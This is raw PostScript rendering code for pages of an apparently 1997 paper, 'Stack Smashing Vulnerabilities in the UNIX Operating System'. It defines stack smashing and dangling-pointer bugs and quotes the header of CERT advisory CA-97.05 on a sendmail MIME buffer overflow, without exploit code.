0.0000 0.0000 1.0000 SET_CMYK GS n 2594 2513 M (scribble ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 2513 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3517 2513 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3655 2513 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4541 2513 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5205 2513 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5612 2513 M (occurs. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6195 2513 M (Again, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6707 2513 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7011 2513 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 2513 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2237 M (program behavior is necessary in constructing a stack smashing security vulnerab\ ility.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 1936 M (2.3 Smashing, Trashing or Scribbling the Stack) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 5 5 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1868 9848 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2378 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2565 9848 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3140 9848 M (screw; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3633 9848 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3977 9848 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4331 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4490 9848 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5103 9848 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5346 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5468 9848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5627 9848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6582 9848 M (case ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6917 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7094 9848 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 9572 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2178 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2584 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2759 9572 M (corrupted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 9572 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3691 9572 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 9572 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4834 9572 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5341 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5479 9572 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5820 9572 M (structure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6467 9572 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6836 9572 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7039 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7177 9572 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1710 9296 M (Smashing, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 9296 M (trashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3085 9296 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3294 9296 M (scribbling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4029 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4714 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4895 9296 M (said ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5233 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5432 9296 M (happen ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5982 9296 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6412 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6556 9296 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6737 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 9296 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (routine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1738 9020 M (jumps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2207 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2398 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2534 9020 M (random ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 9020 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3709 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4011 9020 M (overruns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4656 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 9020 M (fixed-size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5511 9020 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5981 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6338 9020 M (excessively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7167 9020 M (large ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (input data. This often results in data-dependent bugs that are difficult to spo\ t or isolate.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8443 M (2.4 Aliasing/Stale/Dangling Pointer Bug) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8160 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 8160 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2394 8160 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2658 8160 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3014 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 8160 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 8160 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3833 8160 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4078 8160 M (1960s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4517 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4688 8160 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4933 8160 M (ALGOL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5539 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 8160 M (FORTRAN ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6640 8160 M (communities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1503 7884 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1665 7884 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2281 7884 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 7884 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2652 7884 M (group ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 7884 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3281 7884 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 7884 M (errors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4680 7884 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4980 7884 M (arise ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5346 7884 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5526 7884 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5891 7884 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6191 7884 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 7884 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6923 7884 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7884 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (alias ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1558 7608 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1743 7608 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2260 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 7608 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2864 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3039 7608 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3159 7608 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3574 7608 M (chunk ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4026 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4211 7608 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5079 7608 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5725 7608 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6411 7608 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6596 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6845 7608 M (event ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7608 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 7332 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2096 7332 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2707 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2873 7332 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3529 7332 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 7332 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 7332 M (alias, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4641 7332 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4936 7332 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5277 7332 M (later ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7332 M (referenced ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6387 7332 M (through ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6959 7332 M (another, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (subtle and violent errors can occur.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 6730 M (3. Stack Smashing publicity) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 6415 M (3.1 Security professionals and the academic community ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6132 M (CERT, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2212 6132 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2459 6132 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3169 6132 M (Emergency ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 6132 M (Response ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4654 6132 M (Team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5078 6132 M (Coordination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5999 6132 M (Center ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6487 6132 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6651 6132 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 6132 M (Software ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5856 M (Engineering ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2058 5856 M (Institute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 5856 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2828 5856 M (Carnegie ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 5856 M (Mellon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 5856 M (University, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4782 5856 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5047 5856 M (published ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5736 5856 M (Internet-specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5856 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5580 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1803 5580 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2405 5580 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3147 5580 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 5580 M (1988. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3997 5580 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 5580 M (examining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4972 5580 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5446 5580 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6040 5580 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6642 5580 M (advisories, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 5580 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5304 M (trend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1603 5304 M (emerges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2213 5304 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2396 5304 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2653 5304 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2993 5304 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3186 5304 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4191 5304 M (reported; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4846 5304 M (Buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 5304 M (overflow) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5898 5304 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5952 5304 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6117 5304 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6245 5304 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 5304 M (phrase ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5304 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5028 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1618 5028 M (reports. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 5028 M (Of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2473 5028 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2742 5028 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3483 5028 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4149 5028 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4381 5028 M (C) ST -5 0 MR (E) ST -5 0 MR (R) ST -5 0 MR (T) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 5028 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5449 5028 M (archives, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6112 5028 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6381 5028 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7093 5028 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4752 M (examples illustrate the proliferation of stack smashing buffer overflows[1]:) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 6 6 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1736 M (3) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1695 M ( Http://www.sendmail.org) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1581 M (4) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1540 M ( Mail Transfer Agent) 942 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (5) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1385 M ( Multipurpose Internet Mail Extensions, for more details see RFC 1341) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (6) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1230 M ( http://www.opengroup.org/) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1954 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9752 M 7523 9752 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9747 M 1181 9622 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9747 M 7519 9622 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 9644 M (ftp://info.cert.org/pub/cert_advisories/CA-97.05.sendmail) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9621 M 1181 9517 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9621 M 7519 9517 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9533 M (======================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9516 M 1181 9412 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9516 M 7519 9412 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9428 M (CERT\(sm\) Advisory CA-97.05) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9411 M 1181 9307 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9411 M 7519 9307 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9323 M (Original issue date: January 28, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9306 M 1181 9202 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9306 M 7519 9202 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9218 M (Last revised: March 5, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9201 M 1181 9097 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9201 M 7519 9097 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9113 M ( Appendix A, updated NEC entry. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9096 M 1181 8937 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9096 M 7519 8937 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8936 M 1181 8832 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8936 M 7519 8832 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8848 M (Topic: MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8831 M 1181 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8831 M 7519 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8743 M (--------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8707 M 7523 8707 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3766 8576 M (CERT example 3.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8230 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2366 8230 M (3.1.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2762 8230 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3268 8230 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3414 8230 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4335 8230 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4536 8230 M (Eric ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 8230 M (A) ST -3 0 MR (l) ST -3 0 MR (l) ST -4 0 MR (m) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5552 8230 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6152 8271 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6221 8230 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6335 8230 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6481 8230 M (popular ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7061 8230 M (MTA) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 7431 8271 M (4) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 8230 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7954 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1559 7954 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1806 7954 M (e-mail ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2284 7954 M (delivery ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2881 7954 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 